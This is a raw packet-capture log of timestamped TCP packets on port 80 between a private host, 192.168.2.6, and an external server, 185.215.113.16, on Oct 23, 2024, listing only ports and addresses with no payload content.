Oct 23, 2024 17:51:46.888686895 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888696909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888705015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888720036 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888730049 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888731956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888742924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888753891 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888760090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888766050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888778925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888787985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888791084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888803959 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888806105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888819933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888832092 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888834000 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888843060 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888854027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888860941 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888864994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888880014 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888899088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888923883 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889250994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889291048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889453888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889466047 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889477968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889489889 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889497042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889501095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889512062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889514923 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889524937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889535904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889544010 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889547110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889559031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889563084 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889575958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889595032 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889595985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889607906 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889619112 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889625072 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889635086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889647007 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889650106 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889657021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889678955 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889689922 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889693022 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889710903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889723063 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889730930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889734983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889744997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889770031 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889774084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889792919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889803886 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889812946 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889815092 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889825106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889832020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889836073 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889847994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889852047 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889861107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889872074 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889873981 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889884949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889889956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889898062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889906883 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.889915943 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.889945030 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003046989 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003076077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003098011 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003110886 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003115892 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003123999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003138065 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003138065 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003149033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003151894 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003160954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003185034 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003195047 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003206015 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003207922 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003207922 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003228903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003237009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003237963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003240108 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003242970 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003257990 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003288031 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003309011 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003376007 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003386021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003396988 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003410101 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003420115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003432989 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003441095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003443956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003456116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003468037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003480911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003480911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003514051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003516912 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003531933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003542900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003556967 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003559113 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003566027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003571987 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003576040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003592014 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003592968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003602982 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003607035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003616095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003627062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003633976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003658056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003657103 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003664017 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003668070 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003690958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003698111 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003704071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003715038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003721952 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003721952 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003722906 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003745079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003781080 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003787041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003793955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003799915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003807068 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003866911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003876925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003886938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003900051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003917933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003926039 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003928900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003952026 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003952026 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.003962994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003968954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003978968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.003992081 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004003048 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004009008 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004009008 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004018068 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004024029 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004049063 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004082918 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004092932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004122972 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004132986 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004178047 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004194021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004205942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004221916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004224062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004235983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004249096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004256964 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004256964 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004261971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004266977 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004273891 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004304886 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004309893 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004317999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004328966 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004329920 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004352093 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004380941 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004405022 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004415989 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004431009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004432917 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004441977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004445076 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004456043 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004463911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004467010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004476070 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004478931 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004492044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004503012 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004508018 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004514933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004528046 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004544020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004544020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004571915 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004585981 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004590988 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004599094 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004626989 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004646063 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004800081 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004817009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004829884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004841089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004859924 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004867077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004878044 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004884958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004899979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004910946 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004911900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004926920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004936934 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004937887 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004966974 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004973888 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.004986048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.004992008 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005007029 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005016088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005018950 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005031109 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005036116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005043983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005053043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005057096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005069017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005076885 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005083084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005090952 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005098104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005109072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005120993 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005131006 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005143881 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005146980 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005155087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005166054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005171061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005178928 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005191088 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005197048 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005202055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005213022 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005218029 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005229950 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005233049 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005240917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005248070 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005263090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005263090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005274057 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005285978 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005290031 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005296946 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005309105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005315065 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005321026 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005327940 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005343914 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005351067 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005357027 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005367994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005371094 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005382061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005390882 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005393028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005399942 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005414009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005420923 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005426884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005445004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005445957 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005458117 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005469084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005475044 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005484104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005496979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005502939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005510092 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005511045 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005521059 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005533934 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005542040 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005548954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005563021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005570889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005573988 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005589008 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005590916 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005618095 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005652905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005686998 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005698919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005716085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005731106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005732059 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005740881 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005745888 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005753994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005764961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005767107 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005784035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005795002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005801916 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005810022 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005822897 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005822897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005835056 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005847931 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005847931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005861044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005862951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005873919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005886078 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005892038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005914927 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:47.005916119 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:47.005930901 CEST	49900	80	192.168.2.6	185.215.113.16
